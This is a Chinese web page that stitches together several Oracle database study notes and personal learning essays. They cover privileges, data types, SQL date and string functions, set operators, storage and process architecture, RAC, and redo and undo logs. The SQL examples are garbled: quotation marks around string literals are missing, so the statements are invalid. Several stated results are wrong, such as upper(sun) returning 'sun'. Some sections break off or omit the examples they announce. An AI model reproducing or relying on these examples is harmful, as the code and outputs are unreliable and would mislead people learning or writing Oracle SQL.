相关权限: grant connect to scott;//connect角色将允许用户创建数据库并在数据库中创建表或其他对象 grant resource to scott;//resource角色将允许用户使用数据库中的空间 grant create sequence to scott;//create sequence权限将允许用户创建序列,此权限包含在connect连接角色中 grant select on emp to scott;//将emp表的查询权限授予用户scott grant update(vencode,venname)on 表名 to scott;//将特定列的更新权限授予用户scott grant 权限 on 表名 to 用户名 with grant option;//接受该权限的用户可以将此权限授予其他用户 revoke select,update on 表名 from 用户名;//收回相应的权限
二、sql查询和sql函数 sql支持如下类别的命令:
数据控制语言: grant(授予)和revoke(回收)命令。
数据类型: char: 长度在1到2000个字节,声明多少字节在内存中就占用多少字节,输入的值小于指定的长度时用空格填充。varchar2: 长度在1到4000个字节,输入的值是多少字节,就占用多少字节。long: 长度在2gb,设置为此类型的列时,要注意:一个表中只有一列可以为long类型,long类型列不能定义为唯一约束或主键约束,不能建立索引,过程或存储过程不能接受long类型的参数。number(p,s): 其中p为精度,表示数字的总位数,在1至38之间。s为范围,表示小数点右边数字的位数,在-84至127之间。date: 日期类型,sysdate为当前系统时间。格式为08-9月-07。timestamp: 用于存储日期的年、月、日以及时间的时、分和秒。其中秒精确到小数点后6位,systimestamp返回当前日期、时间。格式为08-9月-07 04.08.30.000000 下午。raw: 此数据类型用于存储基于字节的数据,如二进制数据或字节串,该类型最多能存储2000个字节,可以建立索引。long raw: 此数据类型用于可变长度的二进制数据,最多能存储2gb。long数据类型的所有限制对long raw数据类型也同样有效。lob又称为大对象数据类型,最多能存储4gb的非结构化信息。包括: clob: clob代表character lob(字符lob),它能存储大量字符数据。如xml文档。blob: blob代表binary lob(二进制lob),它能存储较大的二进制对象,如图形、视频剪辑和声音剪辑。bfile: bfile代表binary file(二进制文件),它能够将二进制文件存储在数据库外部的操作系统文件中。
伪列:
rowid: select rowid,ename, from scott.emp where empno=7900;rownum: select * from scott.emp where rownum<11;//限制查询返回的行数
语法知识:
desc 表名;//查看表结构
alter table 表名 modify(列名 varchar2(25));//修改列 alter table 表名 add(列名 varchar2(12),列名 number(12));//添加列 alter table 表名 drop column 列名;//删除列 truncate table 表名;//中删除记录而不删除结构,不使用事务处理,因此无法回滚
drop table 表名;//删除表及其全部数据 create table 新表名 as select * from 表名 where 1=2;//用现有的表创建一个新表 select deptno*2 new no,dname,loc from dept;//指定一个含有特殊字符(如空格)的列标题
savepoint 标记名;//标记事务点 rollback;//回滚整个事务处理 rollback to [savepoint] 标记名;//回滚到事务中某个特定的保存点
集合操作符: union(联合): 此操作符返回两个查询选定的所有不重复的行。
语法 select orderno from order_master union select orderno from order_detail;union all(联合所有): 此操作符合并两个查询选定的所有行,包括重复的行。
语法:select orderno,ename from order_master union all select orderno,proname from order_detail order by 2;注意:在两个select语句中指定的列名不必相同,但数据类型必须匹配。也可以对联合查询的结果进行排序,使用order by子句时,它必须放在最后
一个select语句之后,而且必须指定列索引来排序,而不是指定列名,列索引是从1开始的整数。上述语法便是以proname的索引排序 intersect(交集): 此操作符只返回两个查询都有的行。
语法:select orderno from order_master intersect select orderno from order_detail;minus(减集): 此操作符中返回由第一个查询选定但是第二个查询中没有选定的行,也就是在第一个查询结果中排除第二个查询结果中出现的行。
语法:select orderno from order_master minus select orderno from order_detail;查询尚未交付的订单
连接(||)操作符:
语法: select(供应商||venname||的地址是||venadd1|| ||venadd2|| ||venadd3)地址 from vendor_master where vencode=v002;将多个字符串合并为一个字符串。sql函数:
1、日期函数: add_months: 此函数返回给指定的日期加上指定的月数后的日期值。语法为add_months(d,n),其中d是日期,n表示月数。
示例:select add_months(sysdate,2)from dual;将当前时间加上2个月后的日期值。
months_between:
此函数返回两个日期之间的月数。语法为months_between(d1,d2),其中d1和d2是日期,如果d1大于d2,则结果为正数;否则为负数。last_day: 此函数返回指定日期当月的最后一天的日期值,语法为last_day(d),其中d表示日期。
示例:select last_day(sysdate)from dual;返回当前日期的月的最后一天,如果是9月就返回30-09月-07 round: 此函数返回日期值,将日期四舍五入为格式模型指定的单位。语法为round(d,[fmt])。其中d是日期,fmt是格式模型。fmt是一个可选项,日期默认舍入为最靠近的那一天。如果指定格式为年year,则舍入到年的开始,即1月1日;如果格式为月month,则舍入到月的第一日;如果格式为周day,则舍入到最靠近的星期日。
示例:select round(sysdate,month)from dual;返回最接近的一个月。next_day: 此函数返回指定的下一个星期几的日期。语法为next_day(d,day)。其中d表示日期,而day指周内任何一天。
示例:select next_day(sysdate,星期日)from dual;返回下一个星期日的日期,也可以用1表示,以此类推,星期一以2表示。trunc: 此函数将指定日期截断为由格式模型指定的单位日期,与round函数不同的是它只舍不入,语法为trunc(d,[fmt]),与round格式相同。
示例:select trunc(sysdate,year)from dual;返回当前年的第一天,也就是1月1日。示例:select trunc(sysdate,day)from dual;返回紧靠前面的星期日。如果为2005年1月27日就会返回2005年1月23日。extract: 此函数提取日期时间类型中的特定部分。语法为extract(fmt from d),其中d是日期时间表达式,fmt是要提取的部分的格式。格式的取值可以是year,month,day,hour,minute,second,注意此处的格式不使用单引号。
示例:select extract(year from sysdate)from dual;返回当前的年份。
2、字符函数: initcap(char): 首字母大写,示例:select initcap(hello)from dual;输出结果:hello。lower(char): 转换为小写,示例:select lower(fun)from dual;输出结果:fun。upper(char): 转换为大写,示例:select upper(sun)from dual;输出结果:sun。ltrim(char,set): 左剪裁,示例:select ltrim(xyzadams,xyz)from dual;输出结果:adams。rtrim(char,set): 右剪裁,示例:select rtrim(xyzadams,ams)from dual;输出结果:xyzad。
translate(char,from,to): 按字符翻译,示例:select translate(jack,abcd,1234)from dual;输出结果:j13k。replace(char,search_str,replace_str): 字符串替换,示例:select replace(jack and jue,j,bl)from dual;输出结果:black and blue。instr(char,substr[,pos1,pos2]): 查找子字串位置。
示例:select instr(vorldwide,d)from dual;输出结果:5。pos1为可选,表示从第几个位置查找。pos2为可选,表示从第几次出现的位置找。substr(char,pos,len): 取子字符串,示例:select substr(abcdefg,3,2)from dual;输出结果:cd。concat(char1,char2): 连接字符串,示例:select concat(hello,world)from dual;输出结果:helloworld。chr: 此函数根据ascii码返回对应的字符,示例:select chr(45788),chr(53671),chr(50167),chr(65)from dual;输出结果:曹 学 明 a。ascii:
此函数返回gbk编码值,示例:select ascii(曹)cao ,ascii(学)xue,ascii(明)ming from dual;输出结果:45788 53671 50167。lpad和rpad:
示例:select lpad(function,15,=)from dual;输出结果:=======function。而rpad则相反,字符串填充在右边。trim: 此函数从字符串的开头或结尾(或开头和结尾)剪裁特定的字符,默认剪裁空格。如果加上leading选项时与ltrim函数相似。指定trailing时和 rtrim函数相似。示例: select trim(9 from 999992598899)from dual;输出结果:25988。
示例: select trim(leading 9 from 999992598899)from dual;输出结果:2598899。示例: select trim(trailing 9 from 999992598899)from dual;输出结果:9999925988。length: 此函数返回字符串的长度,示例:select length(frances)from dual;输出结果:7。decode: 示例:select deptno,dname,decode(loc,new york,纽约,boston,波士顿)from scott.dept;篇二:oracle数据库学习心得 oracle数据库结课论文
一个好的程序,必然联系着一个庞大的数据库网路...今年我们学习了 oracle数据库这门课程,起初的我,对这个字眼是要多陌生有多陌生,后来上课的时候听一会老师讲课,偶尔再跟上上机课,渐渐的学会了不少东西,但我感觉,我学到的仍是一些皮毛而已,怀着疑惑和求知的心态,我在网上搜索了关于 oracle数据库的一些知识。
1.oracle的特点: 可移植性 oracle采用c语言开发而成,故产品与硬件和操作系统具有很强的独立性。从大型机到微机上都可运行oracle的产品。可在unix、dos、windows等操作系统上运行。可兼容性 由于采用了国际标准的数据查询语言sql,与ibm的sql/ds、db2等均兼容。并提供读取其它数据库文件的间接方法。
可联结性 对于不同通信协议,不同机型及不同操作系统组成的网络也可以运行oraˉcle数据库产品。
2.oracle的总体结构
(1)oracle的文件结构 一个oracle数据库系统包括以下5类文件:oracle rdbms的代码文件。
数据文件 一个数据库可有一个或多个数据文件,每个数据文件可以存有一个或多个表、视图、索引等信息。
日志文件 须有两个或两个以上,用来记录所有数据库的变化,用于数据库的恢复。控制文件 可以有备份,采用多个备份控制文件是为了防止控制文件的损坏。参数文件 含有数据库例程起时所需的配置参数。
(2)oracle的内存结构 一个oracle例程拥有一个系统全程区(sga)和一组程序全程区(pga)。
sga(system global area)包括数据库缓冲区、日志缓冲区及共享区域。pga(program global area)是每一个server进程有一个。一个server进程起动时,就为其分配一个pga区,以存放数据及控制信息。
(3)oracle的进程结构oracle包括三类进程: ①用户进程 用来执行用户应用程序的。
②服务进程 处理与之相连的一组用户进程的请求。
③后台进程 oracle为每一个数据库例程创建一组后台进程,它为所有的用户进程服务,其中包括: dbwr(database writer)进程,负责把已修改的数据块从数据库缓冲区写到数据库中。lgwr(log writer)进程,负责把日志从sga中的缓冲区中写到日志文件中。smon(system moniter)进程,该进程有规律地扫描sag进程信息,注销失败的数据库例程,回收不再使用的内存空间。pmon(process moniter)进程,当一用户进程异常结束时,该进程负责恢复未完成的事务,注销失败的用户进程,释放用户进程占用的资源。arch(archiver)进程。每当联机日志文件写满时,该进程将其拷贝到归档存储设备上。另外还包括分布式db中事务恢复进程reco和对服务进程与用户进程进行匹配的dnnn进程等。3.oracle的逻辑结构
构成oracle的数据库的逻辑结构包括:(1)表空间
(2)5种类型的段(segment)
①数据段;②索引段;③回滚(rollbock)段;④临时段;⑤自举(bootstrap)段。段的分配单位叫范围(extent)
表空间(tablespace)一个数据库划分成的若干逻辑部分称为表空间。一个数据库可以有一个或多个表空间,初始的表空间命名为system,每一个逻辑表空间对应于一个或多个物理文件。dba使用表空间做以下工作: 控制数据库对象,如表、索引和临时段的空间分配。为数据库用户设置空间配额。
利用个别表空间的在线或离线,控制数据的可用性。后备或恢复数据。
通过分配空间,以改进性能。
在每个数据库中都存在system表空间,它在建立数据库时自动建立。在该表空间中,包含数据库的数据字典,其中存储全部数据库对象的名字和位置。system表空间总是在线的,像其它表空间一样,可以通过增加新的数据库文件来扩大。一个表空间可包含许多表和索引。但一个表和索引不能跨越表空间,可跨越组成表空间的文件。在db的打开的情况下,dba利用alter tablespace语句,可以实施表空间的在线或离线。system表空间必须在线。表空间离线有下列原因: 一般为了使部分数据库不能使用,而允许正常存取数据库其余部分。执行表空间离线备份。
一个离线的表空间,不能被应用用户读或编辑。
可以增加数据文件扩大已有的表空间,也可增加新的表空间使数据库容量增大,或分配空间给某个应用。使用alfer tablespace add file语句将另一个数据文件加入到已存在表空间中。使用create tablespace语句可建立一个新的表空间。段(segment)表空间中的全部数据存储在以段划分的数据库空间中。一个段是分配给数据库用于数据存储的范围的集合。数据可以是表、索引或rdbms所需要的临时数据。段是表空间的下一个逻辑存储的级别。一个段不能跨越一个表空间,但可跨越表空间内的文件。一个数据库最多需要五种段类型: 数据段 一个包含一个表(或聚集)的全部数据,一个表(或聚集)总有一个单个数据段。
索引段 一个索引段包含对一个表(或聚集)建立的一个索引的全部索引数据。一个表可以有一个、多个或者没有索引段,取决于它所拥有的索引个数。一个聚集必须至少有一个索引段,即在聚集码上 建立聚集索引。
回滚段 每个db有一个或多个回滚段。一个回滚段是db的一部分,它记录在某一情况下被撤消的动作。回滚段用于事务控制和恢复。
临时段 在处理查询时,oracle需要临时工作空间,用于存储语句处理的中间结果,这个区称为临时段。
自举段 自举段在system表空间中,在数据库建立时建立。它包括数据字典定义,在数据库打开时装入。4.用户数据库对象
由用户建立的对象驻留在表空间中,含有真正的数据。数据库对象有表、视图、聚集、索引、伪列和序号生成器。
(1)聚集(cluster)聚集是存储数据的一种可选择的方法。聚集包括存储在一起的一组表,它们共享公共列并经常一起使用。由于内容相关并且物理地存储在一起,存取时间得到改进,存储空间可以减少。聚集是一种优化措施。
聚集对性能的改进,依赖于数据的分布和sql操作的内容。特别是使用聚集对连接非常有利。可以明显地提高连接的速度。建立聚集命令的基本格式: sql>create cluster〈聚集名〉(列定义[,„]);利用聚集建立表命令基本格式: sql>create table〈新表名〉(列定义[,„]cluster〈聚集名〉(聚集列);篇三:oracle学习心得
oracle rac 学习心得 1.概念 rac,全称real application clusters,译为“实时应用集群”,是oracle新版数据库中采用的一项新技术,是高可用性的一种,也是oracle数据库支持网格计算环境的核心技术。
在oracle9i之前,rac的名称是ops(oracle parallel server)。rac 与 ops 之间的一个较大区别是,rac采用了cache fusion(高速缓存合并)技术。在 ops 中,节点间的数据请求需要先将数据写入磁盘,然后发出请求的节点才可以读取该数据。使用cache fusion时,rac的各个节点的数据缓冲区通过高速、低延迟的内部网络进行数据块的传输。2.优缺点
优点:
oracle rac主要支持oracle9i、10g、11g版本,可以支持24 x 7 有效的数据库应用系统,在低成本服务器上构建高可用性数据库系统,并且自由部署应用,无需修改代码。在oracle rac环境下,oracle集成提供了集群软件和存储管理软件,为用户降低了应用成本。当应用规模需要扩充时,用户可以按需扩展系统,以保证系统的性能。(1)多节点负载均衡;(2)提供高可用:故障容错和无缝切换功能,将硬件和软件错误造成的影响最小化;(3)通过并行执行技术提高事务响应时间----通常用于数据分析系
统;(4)通过横向扩展提高每秒交易数和连接数----通常对于联机事务系
统;(5)节约硬件成本,可以用多个廉价pc服务器代替昂贵的小型机或大
型机,同时节约相应维护成本;(6)可扩展性好,可以方便添加删除节点,扩展硬件资源。缺点:(1)相对单机,管理更复杂,要求更高;(2)在系统规划设计较差时性能甚至不如单节点;(3)可能会增加软件成本(如果使用高配置的pc服务器,oracle一般 按照cpu个数收费)。3.rac 特点
每一个节点的linstance都有自己的sga 每一个节点的linstance都有自己的background process 每一个节点的linstance都有自己的redo logs 每一个节点的linstance都有自己的undo表空间
所有节点都共享一份datafiles和controlfiles 4.rac 组件
5.undo和redo读书笔记
1)redo是什么?oracle的redo是如何工作的 redo是重做日志文件,是oracle数据库的日志文件.oracle的重做日志有两种:在线重做日志以及归档重做日志。
在线重做日志:主要用于由于数据库主机掉电等原因导致实例失败,此时oracle采用在线重做日志在数据库启动时将数据库恢复到断电之前的时间点上。
归档重做日志:主要用于介质失败,比如:磁盘受损。此时需要使用对磁盘上的数据备份的归挡重做日志文件将该磁盘上的数据恢复到该归档文件数据所在的时间点上,然后再使用在线重做日志文件将适合的时间点上。
归档重做日志文件实质是被添满的旧的在线重做日志的副本。归档重做日志文件是数据库的历史数据。
在线重做日志在每个数据库中至少有两个重做日志组,每个日志组中至少有一个重做日志文件,这些在线重做日志组是循环使用的,当日志组1被写到最后时,然后自动切换到日志组2;当日志组2也被写满时,再切换到日志组1。2)undo是什么?oracle的undo是如何工作的 undo与redo相反,redo是恢复数据,用于在事务失败时重放事务,undo是撤消一条语句或者一组语句的作用。undo是存储在数据库内部的段或者表空间中(undo如果是手动管理,则使用undo段来管理;如果undo使用aum管理undo,则undo使用表空间来自动管理)。注意:在undo并不是物理的恢复到执行语句之前或者事务之前的样子,只是逻辑的恢复到原来的样子,所有修改只是逻辑的取消,但是数据结构和数据块在回滚之后也大不相同。原因是在多用户系统中,有很多事务是并发进行的,当一个事务修改一个数据并且被回滚,但是该数据在该用户对该数据做过修改之后也有被其他用户修改,这个时候如果是对该事务修改的数据块回滚到原来数据的物理样子,就有可能将后来的事务所做的修改给覆盖掉。所以回滚不是
一个简单的物理的恢复,而是逻辑恢复。3)undo和redo是如何协作工作的 4)6.篇四:oracle数据库学习总结 oracle数据库学习总结
时间过的还真快,不知不觉中就在这里呆了半个月了。这段时间里都在学习oracle数据库的编程,毕竟这是家软件外包公司。像我们这样的新员工也就只能接触到些curd的操作。废话不多说,赶紧来梳理下这半月来学习的知识点.在来公司之前一直都是使用sql server数据库,用sql server也开发了3个小型项目。所以对sql语句以及在数据库中扮演重要作用的存储过程,触发器,视图,主键/外键约束都很熟。但oracle是一个全新的环境,记得刚装上oracle的时候,我都不知道在哪查看自己已经建立好的表格。还好有师傅的帮忙,要不然我还真没这么快就能入门oracle。学习东西就要学习些能改变自己思维的东西,只有这样才能让自己的眼光比别人更独到,思维比别人更深邃,oracle就是这样的东西。当然做这样的事是要很大的驱动力的呀,如果公司不是都采用oracle来写程序的话,我估计也就懒得学啦。对于一位程序员来说并不需要完全掌握oracle的所有知识,毕竟自己不是dba。在日常开发中也用不到那些命令和工具,但是有些知识点我们还是必须得熟练的掌握它们。比如:一些基本的ddl和dml语句,存储过程,函数,视图,触发器,序列,游标,自定义类型和包。
下面我就把这段时间里学习oracle获得的知识点罗列出来,一是为了方便以后查阅,二是为了和搭档交流学习经验。
要适应的一些细节 从sql server转到oracle进行数据库编程,第一道门槛就是语法问题。很多很多的问题都是因为语法而产生的,现将它们统统集合起来并将它们一网打尽之。pl结构。在sql server中,采用的是批处理执行任务的方式,所以可以将多条sql语句选中批量执行,而不用顾忌要在专门的地方声明变量,在专门的地方进行逻辑编码。在oracle中采用的是pl编程方式,必须在专门的地方声明变
循环结构,要达到循环在oracle中有3种方式,各有各的好处,你懂的。它们分别如下: pl结构中的错误处理
就像c#中的try{} catch{}语句块 能捕获错误。写几个例子: helloworld级别的错误抛出例子 record类型
oracle中的record类型类似于c语言中的结构体,主要用来接收select 语句或游标中返回的数据,下面写个例子: ddl语句
这里的ddl语言主要是指能完成如下工作的ddl语言:创建表,创建表的主/外 键及级联效果,dml语句
select语句。oracle中的select语句的使用方法与 sql server差不多,但还是有些不同之处。篇五:oracle学习体会 oracle学习体会
王岩
2015年,为落实重点开展“完善业务系统,加强统计数据汇总分析”的工作要求,根据协会安排,我由政策信息部调整到统计部,在稳步推进业务系统数据库工作的基础上,努力配合做好网络及其他软硬件管理等工作。对于曾经负责信息宣传工作的我来说,计算机技术还是一个全新的领域。
根据协会安排,我从今年的4月到11月利用周末时间学习专业知识,旨在通过参加学习中心的linux系统和oracle数据库等培训课程,承担协会业务系统数据库的开发和管理工作。在参加专业培训机构课程的同时,臧立副主任也会不定期针对协会的业务系统数据库为我们做一些内训。通过这一年来的学习、回顾和梳理,让我对oracle数据库知识以及协会的业务系统数据库框架有了一定的了解,也对协会的数据库管理工作方面有了一些建议。
一份总结和体会 oracle数据库分两个方面,一块是开发,一块是管理。开发主要是写存储过程、触发器之类的编程工作,类似于程序员,需要有较强的逻辑思维能力和创造能力。数据库管理则是需要对oracle数据库的原理有深刻的认识,有全局操纵的能力和紧密的思维,而协会的业务系统数据库工作则是同时包含了开发和管理的内容。
在有一定的oracle专业知识之后,我开始接手了辽宁省协会和 广东省协会的业务数据分入处理工作。其中,根据每期不同的业务数据,需要对数据导入的操作脚本进行修改,遇到有问题的数据,需要根据错误进行逻辑分析,创建新的脚本来筛选出错误数据,并进行修改整理,最终将正确、完整的业务数据导入到协会业务系统数据库中,为保费结算工作提供了及时可靠的数据支持。
做计算机技术工作的人都知道,专业的知识只能称得上打开这项工作大门的一把钥匙,要想真正迈进协会数据库管理工作这项领域,我们还需要学习掌握协会的业务系统数据库框架。协会的数据库里面承载着一百多类表,包含着一千余个列,我们不仅要知道这些表的逻辑结构和数据类型,还要知道各个表之间的关联,从而在数据库中顺利的实现增、删、改、查我们所需要的数据。
一点不足和建议
协会的数据库建设工作无论是逻辑结构方面,还是软件兼容方面,都做的很好,但是在硬件设备管理上,我们可能还有更好的选择。2015年年末,我接手了一项筛查数据的工作,原因是山东数据库服务器机房出现故障,导致丢失了部分业务数据,我的任务就是要将这些丢失的数据文件名查找出来,以便山东协会后期进行补救工作。事后我对这件事进行了思考,事故的主要原因是因为他们的数据库服务器存放在省协会本部没有专业管理的机房中,由于空调故障室温过热,导致硬盘烧毁,在此方面,国家协会目前的做法和省协会一样,都将服务器存放在本部没有专业管理的机房。2015年7月,由于协会网络供应商硬件设备出现严重故障,导
致我会办公网络以及业务系统全面瘫痪,虽然我部已在第一时间查明原因,但却束手无策,只能敦促网络供应商尽快修复。
【oracle第一次总结】推荐阅读:
oracle常用命令总结04-03
Oracle06-18
Oracle环境01-15
ORACLE问题08-07
Oracle数据08-20
Oracle恢复10-03
优化Oracle01-07
Oracle表分区07-10
Oracle数据仓库09-28
Oracle10g12-31